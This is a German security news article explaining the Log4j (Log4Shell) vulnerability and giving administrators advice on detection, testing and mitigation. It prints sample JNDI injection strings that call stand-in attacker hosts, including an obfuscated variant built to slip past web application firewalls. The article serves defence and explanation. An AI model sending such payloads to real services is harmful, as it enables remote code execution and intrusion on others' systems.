Schutz vor schwerwiegender Log4j-Lücke - was jetzt hilft und was nicht
"Warnstufe Rot" für Anwender und Firmen, doch was bedeutet das konkret? So testen Sie Dienste auf die Log4j-Lücke und reduzieren ihr Risiko vor Angriffen.
Die Sicherheitslücke im Java-Logging log4j sorgt für Schlagzeilen und viel Verunsicherung. Man weiß, dass die Lücke sehr weitverbreitet und trivial auszunutzen ist. Doch es ist noch längst nicht klar, was alles konkret betroffen ist und wie man sich jetzt am besten schützen kann. heise Security erklärt, sortiert und hilft, das Problem einzudämmen.
Zunächst: Die Gefahr ist real; das Bundesamt für Sicherheit in der Informationstechnik (BSI) tat gut daran, Samstag Nacht die Warnstufe Rot auszurufen. Das Ausnutzen der Lücke ist tatsächlich denkbar einfach, die Zahl der anfälligen Systeme unüberschaubar und Sicherheitsfirmen sehen bereits Log4j-Angriffe von über 500 IP-Adressen. Die Mehrzahl davon sind aktuell noch sogenanntes Fingerprinting, bei dem man versucht, anfällige Systeme zu finden. Vieles davon dürften Forscher sein, die sich nur ein Bild der Lage machen wollen.
Doch Microsoft etwa berichtet auch bereits von ersten echten Angriffen, bei denen auf den attackierten Systemen Cobalt Strike Beacons platziert wurden. Damit verschafft sich ein Angreifer einen Brückenkopf im Netz seines Opfers, um dieses weiter auszuspionieren und typischerweise dann mit Ransomware zu erpressen. Ransomware-Angriffe über Log4j sind eine echte Bedrohung.
(Bild: Log4jAttackSurface)
Die Ursache
Das Problem entsteht, wenn ein Dienst ein Ereignis wie "Habe X getroffen" protokolliert. Im Java-Universum kommt dabei häufig die Bibliothek Log4j zum Einsatz. Und die schreibt das nicht nur weg; sie versucht, den Text X zu interpretieren. Und wenn der etwas wie
${jndi:ldap://boser.server.de/a}
enthält, dann knallt es. Der Dienst kontaktiert "boser.server.de", nimmt von diesem Java-Code entgegen und führt den aus. Ja, genau – einfach so. Da kommen dann Krypto-Miner oder gefährliche Hintertürprogramme wie die erwähnten Cobalt Strike Beacons auf das System. Deshalb heißt der Angriff auch Log4Shell, also "Logging, um einen direkten Zugriff aufs System zu erhalten".
Wenn ein iPhone eine solche Zeichenkette im Namen hatte, rappelte es in Apples iCloud (das ist jetzt hoffentlich schon gefixt); wenn ein Tesla sich damit meldete, hatte der E-Auto-Konzern ein Problem und so geht es weiter. Dabei muss die problematische Zeichenkette auch nicht im Namen stecken. Es kann auch der Ort oder sogar die Uhrzeit (Timezone) sein. Oder der Text einer Fehlermeldung, die vorsichtshalber protokolliert wird. Die Möglichkeiten sind endlos.
Das Webinar zur Log4j-Lücke gibt Administratoren und Sicherheitsverantwortlichen das nötige Wissen und Werkzeug für den verantwortungsvollen Umgang mit Log4Shell an die Hand.
Schutz vor Log4shell
Es gibt derzeit keine offizielle Liste, was von der Schwachstelle CVE-2021-44228 betroffen ist und was nicht. Ein französischer Sicherheitsforscher pflegt immerhin eine inoffizielle Liste mit bereits über 100 Einträgen zu Log4j-Advisories, in der man nach seinen Produkten suchen kann. Weltweit rotieren derzeit Hersteller (hoffentlich!), um ihre Produkte auf diese Schwachstelle abzuklopfen und diese dann zu beseitigen. Da rollt eine riesige Welle von Sicherheits-Updates auf uns zu.
Als Anwender kann man da aktuell nicht viel anderes tun, als abzuwarten, beim Hersteller nachzufragen und ankommende Patches schnellstmöglich zu installieren. Die gute Nachricht ist, dass Endanwender nicht im Fokus stehen. Das Problem betrifft vorrangig die Betreiber von Diensten und IT-Infrastruktur. Aber auch Endanwender könnte es etwa durch anfällige IoT-Gerätschaften erwischen.
Administratoren in Firmen haben jetzt aber einen Haufen Arbeit vor sich: Da bereits erste ernsthafte Angriffe gesichtet wurden, stehen bald erste Erpressungen durch Cybercrime-Banden ins Haus, die über Log4Shell ins Firmennetz gekommen sind. Admins müssen also jetzt dafür sorgen, dass sie ihre Unternehmens-IT schnellstmöglich absichern oder zumindest aus der Schusslinie bringen. Dazu kann ich ein paar Tipps beisteuern, was funktioniert und was nicht.
Filtern und Blockieren
Der naheliegende Gedanke ist, die gefährlichen Zeichenketten auf einem vorgelagerten Gerät wie einer Web Application Firewall (WAF) zu erkennen und zu blockieren. Es gibt auch schon erste Hersteller, die mit beeindruckenden Statistiken aufwarten, wie viele Angriffe sie auf diesem Weg bereits abgewehrt haben.
Doch das Problem ist, dass es fast beliebig viele Möglichkeiten gibt, dieser Erkennung zu entgehen. So kann ein Angreifer das etwa als
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
verschleiern. Das umgeht praktisch alle Filter, löst aber trotzdem den Angriff aus. Die WAF-Hersteller blockieren also hauptsächlich harmlose Scans von Skript-Kiddies und Sicherheitsforschern, die sich ein Bild der Lage verschaffen wollen. Ernsthafte Angriffe können sie zumindest über sogenannte Regular Expressions nicht erkennen. Florian Roth, ein weltweit anerkannter Experte auf diesem Gebiet, hat daraufhin bereits das Handtuch geworfen.
Cloudflare versucht übrigens derzeit seine Kunden auf diesem Weg zu schützen. Der Dienstleister blockiert etwa Anfragen, bei denen der Browser einen verdächtigen User-Agent angibt. Das kann man machen. Aber ich bin mir nicht sicher, ob das nicht letztlich mehr falsche Sicherheit vorspiegelt, als dass es wirklich ernste Angriffe verhindert.
Böse IP-Adressen
Ähnliches gilt für die IP-Adressen der Angreifer. Es gibt bereits Listen von IP-Adressen, von denen solche Log4Shell-Angriffe ausgehen. Die meisten dieser IP-Adressen sind derzeit Tor-Exit-Nodes, sodass man den eigentlichen Urheber nicht feststellen kann. Es liegt nahe, diese IP-Adressen oder (zumindest temporär) sogar alle Tor-Exit-Nodes auf der Firewall zu sperren. Doch ernsthafte Angreifer – also Cybercrime und APTs – nutzen für solche Angriffe typischerweise Server im normalen Internet. Die auffälligen Tor-Exit-Nodes deuten vielmehr auf Forscher und Script-Kiddies hin.
Tor blockieren hilft also nicht viel gegen ernste Bedrohungen. Wenn man aber einen ständig aktualisierten Feed mit qualifizierten Attacker-IPs hat, könnte der helfen, einen Angriff abzuwehren. Das Problem dabei: Ich habe noch keinen gesehen, der das leistet (wer einen kennt, sage mir gerne per Mail Bescheid).
Dienste testen
Doch genug von dem, was alles nicht funktioniert. Es gibt einiges, was man tatsächlich sinnvoll tun kann und sollte. Zunächst einmal sollte man sich einen Überblick verschaffen, wo Probleme lauern könnten. Dabei ist es natürlich sinnvoll beim Hersteller beziehungsweise Anbieter der jeweiligen Software, Geräte und Dienste nach dem Stand der Dinge zu fragen. Im Idealfall gibt es bereits Updates oder ein klares: "Wir haben das geprüft und sind nicht betroffen."
Wer Zugang zum System hat, auf dem ein Dienst läuft, kann dort nach verwundbaren Instanzen der Log4J-Bibliothek suchen. Das ist nicht trivial, da diese typischerweise in den Java-typischen JAR-Archiven stecken. Der log4j-detector durchsucht diese und meldet anfällige Versionen von Log4J 2.x (2.0-beta9 bis 2.14.1). [Update: Beachten Sie, dass das immer noch Work-in-Progress ist und bei der Analyse durchaus Fehler auftreten können.]
Zudem kann man Dienste auch selber gezielt testen. Dazu erstellt man einen passenden String und verteilt den systematisch an potenziell anfällige Dienste. Das Problem ist, dass man in der Regel kein direkt sichtbares Feedback bekommt, ob etwa beim Aufruf einer Web-Seite Log4Shell bereits zugeschlagen hat. Da springt der Dienst CanaryTokens in die Bresche.
CanaryTokens erzeugt dazu einen String wie
${jndi:ldap://065tgzyzabcdef.canarytokens.com/a}
Den kann man als User-Agent im Browser benutzen oder in Formulare eintragen und so weiter. Sobald irgendetwas versucht, den darin enthaltenen Domain-Namen aufzulösen, erhält man einen Alarm an die hinterlegte E-Mail-Adresse. (Note: Ich nehme aktuell an, dass die Alarmierung über DNS erfolgt und CanaryTokens nicht wirklich einen LDAP-Verbindungsaufbau abwartet). Dieser Alarm enthält dann die IP-Adresse des Verursachers. Das ist dann jedoch nur der DNS-Server, der die Anfrage gestellt hat. Um die verursachende App zu finden, muss man eventuell mehrere Tests mit verschiedenen Tokens machen.
Dienste absichern und vorbeugen
Wenn es noch kein Update des Herstellers gibt, kann man anfällige Dienste durch Setzen der Variable log4j2.formatMsgNoLookups auf true sichern. Dazu startet man die Java Virtual Machine mit dem Argument –Dlog4j2.formatMsgNoLookups=True oder setzt die Umgebungsvariable LOG4J_FORMAT_MSG_NO_LOOKUPS=true. Beides funktioniert jedoch erst ab Log4J Version 2.10.; im Zweifelsfall sollte man das also erneut testen. Bei älteren Versionen empfehlen die Entwickler, als Mitigation die Klasse JndiLookup zu entfernen:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Solange man sich nicht sicher ist, dass die eigene Infrastruktur safe ist, sollte man zumindest die Angriffsfläche weit möglichst reduzieren (Anmerkung: Eigentlich ist das auch eine gute Idee, wenn man sich sicher fühlt. Aber unter den aktuellen Umständen ist es zu rechtfertigen, dafür zeitweise Komfort oder nicht zwingend erforderliche Funktionen etwas weiter einzuschränken als im Normalbetrieb, um sich Zeit zu erkaufen). Dazu gehören unter anderem Maßnahmen wie:
- Zugangsbeschränkungen
- Segmentierung von Netzwerken
- Reduzierung der Rechte
- Beschränkung von ausgehenden Verbindungen
- Beschränkung der ausführbaren Programme
Ferner sollte man auch das Monitoring intensivieren. Dabei lohnt es kaum, sich mit Alarmen zu befassen, die die verdächtigen Zeichenketten auslösen – denn damit wird man geflutet. Stattdessen sollte man sich darauf konzentrieren, verdächtige Aktivitäten zu detektieren, die einen erfolgreichen Angriff signalisieren. Hier können etwa gezielt platzierte Stolperdrähte helfen. Die lösen Alarm aus, wenn jemand versucht, ganz bestimmte Hosts, Dienste oder Benutzernamen einzusetzen, die es gar nicht gibt. Ziel ist es dabei, einen erfolgreichen Angriff frühzeitig zu erkennen und einzugrenzen, bevor die Angreifer Zugriff auf die Kronjuwelen des Unternehmens erlangen.
Fazit
Das durch Log4j verursachte Problem hat keine einfache Lösung und es wird auch nicht so schnell verschwinden. Im Gegenteil, es ist davon auszugehen, dass es die IT noch über Wochen und Monate hinweg beschäftigen wird.
Eine Lehre sollte man jedoch bereits jetzt daraus ziehen: Es ist fahrlässig, dass wichtige Infrastruktur-Komponenten wie der wichtigste Logging-Mechanimus der Java-Welt ausschließlich auf den Schultern von freiwilligen, unbezahlten Entwicklern ruhen. Will man solche Katastrophen zukünftig vermeiden, sollten sich Politik und Wirtschaft überlegen, wie man solche Projekte fördern kann, um deren Sicherheit zu verbessern.
Und noch ein abschließender Hinweis in eigener Sache: Im Expertenforum von heise Security Pro diskutieren Sicherheitsverantwortliche und der Autor über ihre Erfahrungen mit den Log4j-Problemen.
(ju)